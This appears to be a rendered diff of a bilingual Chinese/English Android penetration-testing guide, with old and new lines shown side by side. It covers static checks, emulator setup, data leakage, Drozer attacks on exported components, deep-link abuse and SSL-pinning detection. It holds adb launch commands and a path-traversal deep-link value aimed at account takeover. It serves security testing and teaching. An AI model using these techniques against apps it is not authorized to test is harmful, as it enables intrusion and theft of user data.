开发者不应使用**已废弃的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法中的一些有:RC4、MD4、MD5、SHA1……例如,如果使用**hashes**来存储密码,应使用对暴力破解具有抵抗力的哈希并加盐。
 | 
			
		||||
开发者不应使用**deprecated algorithms**来执行授权**checks**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1... 例如如果使用**hashes**来存储密码,应该使用抗**brute-force**的hash算法并加salt。
 | 
			
		||||
 | 
			
		||||
### 其他检查
 | 
			
		||||
 | 
			
		||||
- 建议**对 APK 进行混淆**,以增加逆向工程的难度。
 | 
			
		||||
- 如果应用是敏感应用(如银行应用),应执行**自己的检测来判断手机是否已 root**,并据此采取措施。
 | 
			
		||||
- 如果应用是敏感应用(如银行应用),应检测是否在**emulator**上运行。
 | 
			
		||||
- 如果应用是敏感应用(如银行应用),应**在执行前检查自身完整性**以判断是否被修改。
 | 
			
		||||
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 来检查构建 APK 时使用了哪个 compiler/packer/obfuscator
 | 
			
		||||
- 建议对 **APK** 进行**obfuscate**,以增加逆向工程难度。
 | 
			
		||||
- 如果应用是敏感类(例如银行应用),它应该自行**检测设备是否已 root**并据此采取措施。
 | 
			
		||||
- 如果应用是敏感类(例如银行应用),它应该检测是否在**emulator**上运行。
 | 
			
		||||
- 如果应用是敏感类(例如银行应用),它应该**在执行前自检完整性**以确认是否被修改。
 | 
			
		||||
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查用于构建 APK 的编译器/packer/obfuscator。
 | 
			
		||||
 | 
			
		||||
### React Native Application
 | 
			
		||||
 | 
			
		||||
@ -207,7 +207,7 @@ With this knowledge, **mariana-trench will review the code and find possible vul
 | 
			
		||||
 | 
			
		||||
### Secrets leaked
 | 
			
		||||
 | 
			
		||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
 | 
			
		||||
应用可能包含秘密(API keys、密码、隐藏的 urls、子域名等),你可能能够在应用中发现它们。你可以使用诸如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 的工具。
 | 
			
		||||
 | 
			
		||||
### Bypass Biometric Authentication
 | 
			
		||||
 | 
			
		||||
@ -216,14 +216,14 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
 | 
			
		||||
bypass-biometric-authentication-android.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 其他有趣的函数
 | 
			
		||||
### Other interesting functions
 | 
			
		||||
 | 
			
		||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
 | 
			
		||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
 | 
			
		||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
 | 
			
		||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
 | 
			
		||||
 | 
			
		||||
### **其他技巧**
 | 
			
		||||
### **Other tricks**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -234,47 +234,47 @@ content-protocol.md
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 动态分析
 | 
			
		||||
## Dynamic Analysis
 | 
			
		||||
 | 
			
		||||
> 首先,你需要一个可以安装应用并配置好所需环境(主要是 Burp CA cert、Drozer 和 Frida)的环境。因此,强烈建议使用已 root 的设备(无论是否为模拟器)。
 | 
			
		||||
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
 | 
			
		||||
 | 
			
		||||
### 在线动态分析
 | 
			
		||||
### Online Dynamic analysis
 | 
			
		||||
 | 
			
		||||
你可以在 [https://appetize.io/](https://appetize.io/) 创建一个**免费账号**。该平台允许你**上传**并**执行** APK,因此有助于观察 APK 的行为。
 | 
			
		||||
你可以在以下网站创建一个**免费账号**: [https://appetize.io/](https://appetize.io/)。该平台允许你**上传**并**执行**APK,便于查看 apk 的运行行为。
 | 
			
		||||
 | 
			
		||||
你甚至可以在网页中**查看应用的日志**并通过 **adb** 连接。
 | 
			
		||||
你甚至可以在网页上**查看应用的日志**并通过 **adb** 连接。
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
借助 ADB 连接,你可以在模拟器内使用 **Drozer** 和 **Frida**。
 | 
			
		||||
借助 ADB 连接,你可以在模拟器中使用 **Drozer** 和 **Frida**。
 | 
			
		||||
 | 
			
		||||
### 本地动态分析
 | 
			
		||||
### Local Dynamic Analysis
 | 
			
		||||
 | 
			
		||||
#### 使用模拟器
 | 
			
		||||
#### Using an emulator
 | 
			
		||||
 | 
			
		||||
- [**Android Studio**](https://developer.android.com/studio)(你可以创建 **x86** 和 **arm** 设备,并且根据[**此处**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **最新 x86** 版本 **支持 ARM 库**,无需使用缓慢的 ARM 模拟器)。
 | 
			
		||||
- 在此页面学习如何设置:
 | 
			
		||||
- [**Android Studio**](https://developer.android.com/studio)(你可以创建 **x86** 和 **arm** 设备,根据[**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) 最新信息,**最新 x86** 版本 **支持 ARM 库**,无需使用缓慢的 arm 模拟器)。
 | 
			
		||||
- 在此页面中学习如何设置:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
avd-android-virtual-device.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:Personal Edition,需要创建账号。建议**下载**包含**VirtualBox**的版本以避免潜在错误。)**
 | 
			
		||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版本:Personal Edition,需要创建账户。建议下载带有**VirtualBox**的版本以避免潜在错误。)**
 | 
			
		||||
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 在任何平台创建新模拟器时,请记住屏幕越大,模拟器运行越慢。因此尽可能选择小屏幕。
 | 
			
		||||
> 在任何平台上创建新的 emulator 时请记住,屏幕越大,模拟器运行越慢。因此尽量选择较小屏幕。
 | 
			
		||||
 | 
			
		||||
要在 Genymotion 中**安装 google services**(如 AppStore),需要点击下图中红色标记的按钮:
 | 
			
		||||
要在 Genymotion 中**安装 google services(如 Play Store)**,需要点击下图中标红的按钮:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
另外,请注意在 **Genymotion 的 Android VM 配置** 中可以选择 **Bridge Network mode**(如果你要从另一个带有工具的 VM 连接到该 Android VM,这会很有用)。
 | 
			
		||||
另外,请注意在 **Genymotion 的 Android VM 配置** 中可以选择 **Bridge Network mode**(如果你会从不同的 VM 连接到该 Android VM 并使用工具,这将很有用)。
 | 
			
		||||
 | 
			
		||||
#### 使用实体设备
 | 
			
		||||
#### Use a physical device
 | 
			
		||||
 | 
			
		||||
你需要激活**调试**选项,如果能**root**设备会更好:
 | 
			
		||||
你需要激活 **debugging** 选项,如果能 **root** 设备会更好:
 | 
			
		||||
 | 
			
		||||
1. **Settings**.
 | 
			
		||||
2. (FromAndroid 8.0) Select **System**.
 | 
			
		||||
@ -282,109 +282,109 @@ avd-android-virtual-device.md
 | 
			
		||||
4. Press **Build number** 7 times.
 | 
			
		||||
5. Go back and you will find the **Developer options**.
 | 
			
		||||
 | 
			
		||||
> 一旦安装了应用,第一件事应该是尝试使用它,调查它的行为、工作方式并熟悉它。\
 | 
			
		||||
> 建议使用 MobSF dynamic analysis + pidcat 执行此初步动态分析,这样我们在学习应用如何工作的同时,MobSF 会**捕获**许多稍后可以查看的**有趣数据**。
 | 
			
		||||
> 一旦安装了应用,第一件事应该是运行它并调查它的行为,弄清它如何工作并熟悉它。\
 | 
			
		||||
> 我建议使用 MobSF dynamic analysis + pidcat 来执行这一步初始的动态分析,这样我们可以在 MobSF **捕获**大量以后可以查看的**有趣**数据的同时**学习应用的工作原理**。
 | 
			
		||||
 | 
			
		||||
### 非预期的数据泄露
 | 
			
		||||
### Unintended Data Leakage
 | 
			
		||||
 | 
			
		||||
**日志记录**
 | 
			
		||||
**Logging**
 | 
			
		||||
 | 
			
		||||
开发者应谨慎避免公开暴露**调试信息**,因为这可能导致敏感数据泄露。推荐使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 来监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性而更受欢迎。
 | 
			
		||||
开发者应谨慎避免公开暴露**调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 来监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性而受推荐。
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 请注意,从**Android 4.0 及更高版本**开始,**应用只能访问自身的日志**,因此无法访问其他应用的日志。\
 | 
			
		||||
> 无论如何,仍建议**不要记录敏感信息**。
 | 
			
		||||
> 注意,从 **Android 4.0 之后的较新版本** 起,**应用只能访问自己的日志**。因此应用无法访问其他应用的日志。\
 | 
			
		||||
> 不管怎样,仍建议**不要记录敏感信息**。
 | 
			
		||||
 | 
			
		||||
**剪贴板缓冲**
 | 
			
		||||
**Copy/Paste Buffer Caching**
 | 
			
		||||
 | 
			
		||||
Android 的**基于剪贴板**的框架支持应用间的复制粘贴功能,但存在风险,因为**其他应用**可以**访问**剪贴板,可能会暴露敏感数据。对于应用中的敏感部分(例如信用卡信息),应**禁用复制/粘贴**功能以防止数据泄露。
 | 
			
		||||
Android 的**基于剪贴板**的框架支持复制粘贴功能,但存在风险:**其他应用**可以**访问**剪贴板,可能导致敏感数据泄露。对于敏感区域(如信用卡信息)务必**禁用复制/粘贴**功能以防止数据泄露。
 | 
			
		||||
 | 
			
		||||
**崩溃日志**
 | 
			
		||||
**Crash Logs**
 | 
			
		||||
 | 
			
		||||
如果应用**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是在应用无法被逆向时。为降低风险,应避免在崩溃时记录日志;如果必须将日志通过网络传输,确保通过 SSL 通道发送以保证安全。
 | 
			
		||||
如果应用**崩溃**并**保存日志**,这些日志可能帮助攻击者,尤其是在应用无法被逆向时。为减轻风险,避免在崩溃时记录敏感信息;若必须将日志通过网络发送,确保通过 SSL 通道传输以保障安全。
 | 
			
		||||
 | 
			
		||||
作为 pentester,**尝试查看这些日志**。
 | 
			
		||||
 | 
			
		||||
**发送给第三方的分析数据**
 | 
			
		||||
**Analytics Data Sent To 3rd Parties**
 | 
			
		||||
 | 
			
		||||
应用常常集成像 Google Adsense 这样的服务,如果开发者实现不当,可能会无意中**leak**敏感数据。要识别潜在的数据泄露,建议**拦截应用流量**并检查是否有敏感信息被发送到第三方服务。
 | 
			
		||||
应用常集成第三方服务(如 Google Adsense),若实现不当可能会无意中**泄露敏感数据**。要识别潜在的数据泄露,建议**拦截应用流量**并检查是否将敏感信息发送给第三方服务。
 | 
			
		||||
 | 
			
		||||
### SQLite DBs
 | 
			
		||||
 | 
			
		||||
大多数应用会使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,查看创建的**数据库**、**表名**和**列名**以及所有保存的数据,因为你可能会发现**敏感信息**(这将构成一个漏洞)。\
 | 
			
		||||
数据库应该位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`
 | 
			
		||||
大多数应用会使用**internal SQLite databases**来保存信息。在渗透测试时,查看创建的**数据库**、**表名**和**列名**以及保存的所有**数据**非常重要,因为你可能会发现**敏感信息**(这将是一种漏洞)。\
 | 
			
		||||
数据库通常位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`
 | 
			
		||||
 | 
			
		||||
如果数据库保存机密信息并且是 **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
 | 
			
		||||
如果数据库保存了机密信息并且**加密了**,但你可以在应用中**找到**该数据库的**密码**,那仍然是一个**漏洞**。
 | 
			
		||||
 | 
			
		||||
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
 | 
			
		||||
使用 `.tables` 枚举表,并使用 `.schema <table_name>` 枚举表的列。
 | 
			
		||||
 | 
			
		||||
### Drozer (Exploit Activities, Content Providers and Services)
 | 
			
		||||
 | 
			
		||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
 | 
			
		||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
 | 
			
		||||
 | 
			
		||||
### 利用已导出的 Activities
 | 
			
		||||
### Exploiting exported Activities
 | 
			
		||||
 | 
			
		||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
 | 
			
		||||
也请记住,Activity 的代码从 **`onCreate`** 方法开始执行。
 | 
			
		||||
Also remember that the code of an activity starts in the **`onCreate`** method.
 | 
			
		||||
 | 
			
		||||
**Authorisation bypass**
 | 
			
		||||
 | 
			
		||||
当一个 Activity 被导出(exported)时,你可以从外部应用调用其界面。因此,如果一个包含**敏感信息**的 activity 被**导出**,你可能可以**绕过****认证**机制**访问**它。
 | 
			
		||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
 | 
			
		||||
 | 
			
		||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
 | 
			
		||||
 | 
			
		||||
你也可以通过 adb 启动一个已导出的 activity:
 | 
			
		||||
You can also start an exported activity from adb:
 | 
			
		||||
 | 
			
		||||
- PackageName is com.example.demo
 | 
			
		||||
- Exported ActivityName is com.example.test.MainActivity
 | 
			
		||||
```bash
 | 
			
		||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
 | 
			
		||||
```
 | 
			
		||||
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
 | 
			
		||||
**注意**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 注意:授权绕过不一定就是一个漏洞,这取决于绕过的工作原理以及暴露了哪些信息。
 | 
			
		||||
> 注意,authorisation bypass 并不总是一个漏洞,这取决于绕过的实现方式以及暴露了哪些信息。
 | 
			
		||||
 | 
			
		||||
**Sensitive information leakage**
 | 
			
		||||
 | 
			
		||||
**Activities can also return results**。如果你能找到一个 exported 且未受保护的 activity 调用 **`setResult`** 方法并**返回敏感信息**,则会发生敏感信息泄露。
 | 
			
		||||
**Activities can also return results**。如果你设法找到一个被导出且未受保护的 activity,调用 **`setResult`** 方法并 **返回敏感信息**,则会发生 sensitive information leakage。
 | 
			
		||||
 | 
			
		||||
#### Tapjacking
 | 
			
		||||
 | 
			
		||||
如果没有防止 Tapjacking,你可以滥用已导出的 activity 使 **user perform unexpected actions**。有关更多信息,请参见 [**what is Tapjacking follow the link**](#tapjacking)。
 | 
			
		||||
If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**。For more info about [**what is Tapjacking follow the link**](#tapjacking)。
 | 
			
		||||
 | 
			
		||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
 | 
			
		||||
### Exploiting Content Providers - 访问和操作敏感信息
 | 
			
		||||
 | 
			
		||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
 | 
			
		||||
Content providers 基本上用于 **share data**。如果一个 app 存在可用的 content providers,你可能能够从中 **extract sensitive** 数据。也建议测试可能存在漏洞的 **SQL injections** 和 **Path Traversals**。
 | 
			
		||||
[**如果你想回顾什么是 Content Provider,请阅读此处。**](android-applications-basics.md#content-provider)\
 | 
			
		||||
Content providers 基本上用于 **share data**。如果一个 app 有可用的 content providers,你可能能够从中 **extract sensitive** 数据。也有必要测试可能的 **SQL injections** 和 **Path Traversals**,因为它们可能存在漏洞。
 | 
			
		||||
 | 
			
		||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
 | 
			
		||||
 | 
			
		||||
### **Exploiting Services**
 | 
			
		||||
 | 
			
		||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
 | 
			
		||||
记住,Service 的动作从 `onStartCommand` 方法开始。
 | 
			
		||||
[**如果你想回顾什么是 Service,请阅读此处。**](android-applications-basics.md#services)\
 | 
			
		||||
记住,Service 的动作从方法 `onStartCommand` 开始。
 | 
			
		||||
 | 
			
		||||
Service 本质上是可以接收数据、处理数据并(可选地)返回响应的组件。因此,如果应用导出了一些 services,你应该检查其代码以了解其行为,并对其进行动态测试以提取机密信息、绕过认证措施等。\
 | 
			
		||||
As service 基本上是可以 **接收数据**、**处理** 并(或不)**返回** 响应的东西。因此,如果一个应用导出了某些 services,你应该 **检查** 其 **code** 以了解其行为,并 **动态** 测试以提取机密信息、绕过认证措施等。\
 | 
			
		||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
 | 
			
		||||
 | 
			
		||||
### **Exploiting Broadcast Receivers**
 | 
			
		||||
 | 
			
		||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
 | 
			
		||||
记住,Broadcast Receiver 的动作从 `onReceive` 方法开始。
 | 
			
		||||
[**如果你想回顾什么是 Broadcast Receiver,请阅读此处。**](android-applications-basics.md#broadcast-receivers)\
 | 
			
		||||
记住,Broadcast Receiver 的动作从方法 `onReceive` 开始。
 | 
			
		||||
 | 
			
		||||
广播接收器会等待某种类型的消息。取决于接收器如何处理该消息,它可能存在漏洞。\
 | 
			
		||||
A broadcast receiver 会等待某种类型的消息。取决于 receiver 如何处理该消息,它可能存在漏洞。\
 | 
			
		||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
 | 
			
		||||
 | 
			
		||||
### **Exploiting Schemes / Deep links**
 | 
			
		||||
 | 
			
		||||
你可以手动查找 deep links,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\
 | 
			
		||||
你可以使用 **adb** 或 **浏览器** 打开已声明的 **scheme**:
 | 
			
		||||
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
 | 
			
		||||
You can **open** a declared **scheme** using **adb** or a **browser**:
 | 
			
		||||
```bash
 | 
			
		||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 | 
			
		||||
```
 | 
			
		||||
_请注意,您可以**省略包名**,手机会自动调用应打开该链接的应用。_
 | 
			
		||||
_注意你可以**省略包名**,移动设备会自动调用应打开该链接的应用。_
 | 
			
		||||
```html
 | 
			
		||||
<!-- Browser regular link -->
 | 
			
		||||
<a href="scheme://hostname/path?param=value">Click me</a>
 | 
			
		||||
@ -393,62 +393,62 @@ _请注意,您可以**省略包名**,手机会自动调用应打开该链接
 | 
			
		||||
```
 | 
			
		||||
**执行的代码**
 | 
			
		||||
 | 
			
		||||
为了找到应用中将被执行的**代码**, 转到 deeplink 所调用的 activity 并搜索函数 **`onNewIntent`**。
 | 
			
		||||
为了找到应用中**将被执行的代码**,转到由 deep link 调用的 activity 并搜索函数 **`onNewIntent`**。
 | 
			
		||||
 | 
			
		||||
 (1) (1) (1).png>)
 | 
			
		||||
 | 
			
		||||
**敏感信息**
 | 
			
		||||
 | 
			
		||||
每次找到 deep link 时,检查**它不会通过 URL 参数接收敏感数据(例如密码)**,因为任何其他应用都可能**冒充该 deep link 并窃取这些数据!**
 | 
			
		||||
每次发现 deep link 时,请检查 **它没有通过 URL 参数接收敏感数据(比如密码)**,因为任何其他应用都可能 **冒充该 deep link 并窃取这些数据!**
 | 
			
		||||
 | 
			
		||||
**Parameters in path**
 | 
			
		||||
**路径中的参数**
 | 
			
		||||
 | 
			
		||||
你**还必须检查是否有 deep link 在 URL 的 path 内使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 来强制进行 path traversal。\
 | 
			
		||||
注意,如果你在应用内部找到正确的 endpoints,你可能能够触发一个 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能在没有 CSRF token 的情况下修改用户详情且该 vuln endpoint 使用了正确的方法)以及其他任何 vuln。更多信息请见 [info about this here](http://dphoeniixx.com/2020/12/13-2/).
 | 
			
		||||
你**必须检查 deep link 是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 来强制进行路径遍历。\
 | 
			
		||||
注意,如果你在应用中找到了正确的端点,你可能能够导致 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能在没有 CSRF token 的情况下修改用户详情并且 vuln 端点使用了正确的方法)以及其他任何 vuln。更多 [info about this here](http://dphoeniixx.com/2020/12/13-2/)。
 | 
			
		||||
 | 
			
		||||
**More examples**
 | 
			
		||||
 | 
			
		||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
 | 
			
		||||
一个关于链接(_/.well-known/assetlinks.json_)的 [interesting bug bounty report](https://hackerone.com/reports/855618)。
 | 
			
		||||
 | 
			
		||||
### 传输层检查与验证失败
 | 
			
		||||
 | 
			
		||||
- **证书并不总是被正确检查**,Android 应用中常见忽略警告并接受 self-signed certificates,或在某些情况下退回使用 HTTP 连接。
 | 
			
		||||
- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的 cipher suites。该漏洞使连接易受 man-in-the-middle (MITM) 攻击,允许攻击者解密数据。
 | 
			
		||||
- **Leakage of private information** 是一种风险,当应用使用安全通道进行认证但随后在其他事务上通过非安全通道通信时,会导致未能保护敏感数据(例如 session cookies 或用户信息)免遭恶意实体拦截。
 | 
			
		||||
- **证书并不总是被正确检查**,在 Android 应用中很常见。这些应用常常忽略警告并接受自签名证书,或者在某些情况下退回使用 HTTP 连接。
 | 
			
		||||
- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。
 | 
			
		||||
- **Leakage of private information** 是一个风险,当应用使用安全通道进行认证,但随后在其他事务中通过非安全通道通信时会出现这种情况。这种做法无法保护敏感数据,例如会话 cookie 或用户详情,免遭恶意实体拦截。
 | 
			
		||||
 | 
			
		||||
#### 证书验证
 | 
			
		||||
 | 
			
		||||
我们将关注 **证书验证**。必须验证服务器证书的完整性以提高安全性。这一点至关重要,因为不安全的 TLS 配置和通过未加密通道传输敏感数据可能带来重大风险。有关验证服务器证书和修复漏洞的详细步骤,[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) 提供了全面的指导。
 | 
			
		||||
我们将重点关注**certificate verification**。必须验证服务器证书的完整性以增强安全性。这一点至关重要,因为不安全的 TLS 配置以及在未加密通道上传输敏感数据可能带来重大风险。关于验证服务器证书和修复漏洞的详细步骤,请参阅 [**this resource**](https://manifestsecurity.com/android-application-security-part-10/)。
 | 
			
		||||
 | 
			
		||||
#### SSL Pinning
 | 
			
		||||
 | 
			
		||||
SSL Pinning 是一种安全措施,应用将服务器证书与存储在应用中的已知副本进行比对。此方法对于防止 MITM 攻击至关重要。强烈建议在处理敏感信息的应用中实现 SSL Pinning。
 | 
			
		||||
SSL Pinning 是一种安全措施,应用将服务器证书与存储在应用内的已知副本进行校验。此方法对于防止 MITM 攻击至关重要。强烈建议在处理敏感信息的应用中实现 SSL Pinning。
 | 
			
		||||
 | 
			
		||||
#### 流量检查
 | 
			
		||||
#### Traffic Inspection
 | 
			
		||||
 | 
			
		||||
要检查 HTTP 流量,需要**安装代理工具的证书**(例如 Burp)。如果不安装此证书,经过加密的流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
 | 
			
		||||
要检查 HTTP 流量,必须**安装代理工具的证书**(例如 Burp)。如果不安装该证书,加密流量可能无法通过代理可见。关于安装自定义 CA 证书的指南,请 [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
 | 
			
		||||
 | 
			
		||||
针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。此步骤对于检查加密流量至关重要。有关修改 Network Security Config 的说明,[**refer to this tutorial**](make-apk-accept-ca-certificate.md)。
 | 
			
		||||
针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。此步骤对检查加密流量至关重要。有关修改 Network Security Config 的说明,请参阅 [**refer to this tutorial**](make-apk-accept-ca-certificate.md)。
 | 
			
		||||
 | 
			
		||||
如果使用 **Flutter**,需要按照 [**this page**](flutter.md) 的说明操作。这是因为仅将证书添加到存储中不起作用,Flutter 有其自己的有效 CA 列表。
 | 
			
		||||
如果使用 **Flutter**,你需要遵循 [**this page**](flutter.md) 中的说明。这是因为仅将证书添加到存储中并不能奏效,Flutter 有自己的有效 CA 列表。
 | 
			
		||||
 | 
			
		||||
#### 静态检测 SSL/TLS pinning
 | 
			
		||||
 | 
			
		||||
在尝试运行时绕过之前,先快速映射 APK 中强制 pinning 的位置。静态发现有助于你规划 hooks/patches 并专注于正确的代码路径。
 | 
			
		||||
在尝试运行时绕过之前,先快速映射 APK 中强制 pinning 的位置。静态发现有助于你规划 hooks/patches 并关注正确的代码路径。
 | 
			
		||||
 | 
			
		||||
Tool: SSLPinDetect
 | 
			
		||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
 | 
			
		||||
- Reports exact file path, line number, and a code snippet for each match.
 | 
			
		||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
 | 
			
		||||
- 开源静态分析工具,会将 APK 反编译为 Smali(通过 apktool)并扫描针对 SSL/TLS pinning 实现的精心挑选的正则模式。
 | 
			
		||||
- 为每个匹配报告精确的文件路径、行号和代码片段。
 | 
			
		||||
- 覆盖常见框架和自定义代码路径:OkHttp CertificatePinner、custom javax.net.ssl.X509TrustManager.checkServerTrusted、SSLContext.init(带 custom TrustManagers/KeyManagers)和 Network Security Config XML pins。
 | 
			
		||||
 | 
			
		||||
Install
 | 
			
		||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
 | 
			
		||||
安装
 | 
			
		||||
- 先决条件: Python >= 3.8, Java on PATH, apktool
 | 
			
		||||
```bash
 | 
			
		||||
git clone https://github.com/aancw/SSLPinDetect
 | 
			
		||||
cd SSLPinDetect
 | 
			
		||||
pip install -r requirements.txt
 | 
			
		||||
```
 | 
			
		||||
使用
 | 
			
		||||
用法
 | 
			
		||||
```bash
 | 
			
		||||
# Basic
 | 
			
		||||
python sslpindetect.py -f app.apk -a apktool.jar
 | 
			
		||||
@ -457,6 +457,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
 | 
			
		||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
 | 
			
		||||
```
 | 
			
		||||
示例模式规则 (JSON)
 | 
			
		||||
 | 
			
		||||
使用或扩展 signatures 来检测专有/自定义 pinning 样式。你可以加载自己的 JSON 并进行大规模 scan。
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
@ -471,55 +472,55 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
 | 
			
		||||
]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
注意事项和技巧
 | 
			
		||||
- 在大型应用上通过 multi-threading 和 memory-mapped I/O 进行快速扫描;预编译的 regex 可以减少开销/误报。
 | 
			
		||||
笔记与提示
 | 
			
		||||
- 通过多线程和 memory-mapped I/O 对大型应用进行快速扫描;预编译的 regex 可减少开销/误报。
 | 
			
		||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
 | 
			
		||||
- 接下来需要分流的典型检测目标:
 | 
			
		||||
- 常见的检测目标,作为下一步优先排查:
 | 
			
		||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
 | 
			
		||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
 | 
			
		||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
 | 
			
		||||
- Declarative pins in res/xml network security config and manifest references
 | 
			
		||||
- 使用匹配到的位置来在动态测试之前规划 Frida hooks、静态补丁或配置审查。
 | 
			
		||||
- 声明式 pins 在 res/xml network security config 和 manifest 引用中
 | 
			
		||||
- 使用匹配到的位置来规划 Frida hooks、静态 patch 或配置审查,然后再做动态测试。
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
#### 绕过 SSL Pinning
 | 
			
		||||
 | 
			
		||||
